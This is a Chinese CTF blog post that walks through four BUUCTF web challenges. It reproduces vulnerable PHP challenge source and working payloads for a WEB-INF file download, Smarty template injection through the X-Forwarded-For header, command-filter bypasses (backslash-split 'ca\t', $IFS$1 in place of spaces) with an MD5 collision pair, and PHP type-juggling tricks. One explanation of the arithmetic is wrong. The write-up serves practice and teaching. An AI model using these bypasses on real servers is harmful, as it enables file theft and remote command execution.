BUU刷题记6

[RoarCTF 2019]Easy Java

题目环境
在这里插入图片描述
help的页面中存在一个filename参数的GET传参,可能存在文件下载漏洞
尝试一下:

在这里插入图片描述
试用POST方式来进行请求,发现可以下载文件
在这里插入图片描述
题目既然是与java相关的,之前了解到WEB-INF/web.xml文件泄露
在这里插入图片描述

漏洞成因:通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的优点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些的安全问题,导致web.xml等文件能够被读取。漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了),修改Nginx配置文件禁止访问WEB-INF目录就好了: location ~ ^/WEB-INF/* { deny all; } 或者return 404; 或者其他!

构造payload尝试:

filename=/WEB-INF/web.xml
下载完后记事本打开发现:
<servlet> <servlet-name>FlagController</servlet-name> <servlet-class>com.wm.ctf.FlagController</servlet-class> </servlet>

科普:servlet:Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动态Web内容。(来源百度百科)

其实说明了这个就是JAVA源代码进行编译后所产生的后缀带有.class的东西。于是我们可以下载这个.class文件再利用反编译手段来获得flag。

最终payload:

filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
记事本打开有一串base字符,解码得到flag
在这里插入图片描述

也可以进行反编译:
在线反编译网站
在这里插入图片描述
这里贴一个介绍Tomcat的文章
Tomcat介绍

[BJDCTF2020]The mystery of ip

考点:XFF头的ssti模板注入
题目中hint.php的源码中发现一个hint
在这里插入图片描述

这里要贴一下XFF的知识点

X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP
XFF注入是SQL注入的一种,该注入原理是通过修改X-Forwarded-For头对带入系统的dns进行sql注入,从而得到网站的数据库内容
由此可以看出来:这里的ip也许就是XFF
可以通过检测来验证
在这里插入图片描述
而XFF注入还可与模板注入联合起来
贴上模板注入概念
SSTI 就是服务器端模板注入(Server-Side Template Injection)
漏洞成因:简单讲就是服务端接收了用户的恶意输入并执行

当我们更改的请求参数被解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。


与以上XFF联系起来就可以尝试啦
在这里插入图片描述

本题源码: <?php require_once('header.php'); require_once('./libs/Smarty.class.php'); $smarty = new Smarty(); if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip=$_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip=$_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip=$_SERVER['REMOTE_ADDR']; } //$your_ip = $smarty->display("string:".$ip); echo "<div class=\"container panel1\"> <div class=\"row\"> <div class=\"col-md-4\"> </div> <div class=\"col-md-4\"> <div class=\"jumbotron pan\"> <div class=\"form-group log\"> <label><h2>Your IP is : "; $smarty->display("string:".$ip); echo " </h2></label> </div> </div> </div> <div class=\"col-md-4\"> </div> </div> </div>"; ?>
形成SSTI代码:$smarty->display("string:".$ip)采用了Smarty模板引擎

参考

XFF注入
SSTI(模板注入)漏洞(入门篇)

[安洵杯 2019]easy_web

知识点

题目url中发现index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
看到cmd猜测是命令执行,因为一般碰到的都是linux命令,所以尝试ls,没有反应

而前面的img参数看起来像是base64,经过base64—>base64—>hex后得到555.png
推测文件包含
加密脚本

import binascii
import base64
filename = input().encode(encoding='utf-8')
hex = binascii.b2a_hex(filename)
base1 = base64.b64encode(hex)
base2 = base64.b64encode(base1)
print(base2.decode())```

读取 index.php 源码之后审计源码。

```php
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

rce 的过滤名单如下


if(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd))

正则匹配过滤了很多,可以用linux命令
$cmd=dir不行,$cmd=dir%20会显:
在这里插入图片描述
看到flag文件了,接下来读取

在这里插入图片描述

正则表达式中需要三个反斜杠才可以匹配到一个真正的反斜杠,所以实际上反斜杠没有被过滤。而在linux命令中可以添加反斜杠来绕过黑名单过滤。

所以有

cmd=ca\t%20/flag因此造成了 ca\t 命令可以直接读取 flag

而通过 rce 拿到 flag 之前需要通过一个判断
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))

通过md5碰撞即可 rce 拿到 flag

POST数据
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

也可以使用linux下的sort命令来进行文件读取
Linux sort命令用于将文本文件内容加以排序。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

参考

安洵杯2019 官方Writeup
CTF中常见php-MD5()函数漏洞

[WUSTCTF2020]朴实无华

知识点

robots.txt爬虫、科学计数法绕过、MD5自身值、空格绕过
在这里插入图片描述
文字内容提到了消息头,但是BP抓包后无线索
修改网页编码之后是:
在这里插入图片描述
没有线索,bot—>robots.txt?,尝试之后:
在这里插入图片描述
访问网页
在这里插入图片描述
联系到之前的消息头提示,查看当前页面消息头
在这里插入图片描述
访问,得到

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?> 

需要三层绕过

level 1

传入一个参数num,经过intval函数既要小于2020并且加一要大于2021
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

使用科学计数法来进行绕过

当使用科学计数法来判断num<2020时,7e3会被强制转换为int类型,相当于7,但是当用这种办法来判断+1时,科学计数法就会被解析出来7e3+1就是344,这样就进行了绕过

payload1:

/fl4g.php?num=7e3

level 2

md5弱比较,只要找到一个值的MD5值等于他本身

参考:0e2159620、0e215962017

payload2:
/fl4g.php/?num=7e3&md5=0e215962017

level 3

在这里插入图片描述
传入的get_flag不能有空格
在这里插入图片描述
传入的cat会被替换为wctf2020
传入的get_flag会当作系统命令被执行

payload3
fl4g.php/?num=7e3&md5=0e215962017&get_flag=ls
#先查看当前目录文件

在这里插入图片描述

flag应该在这个文件里
绕过cat

fl4g.php/?num=7e3&md5=0e215962017&get_flag=tac

空格使用$IFS$1绕过
在这里插入图片描述

参考

buuctf-WUSTCTF2020朴实无华(小宇特详解)
初级命令执行绕过总结

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值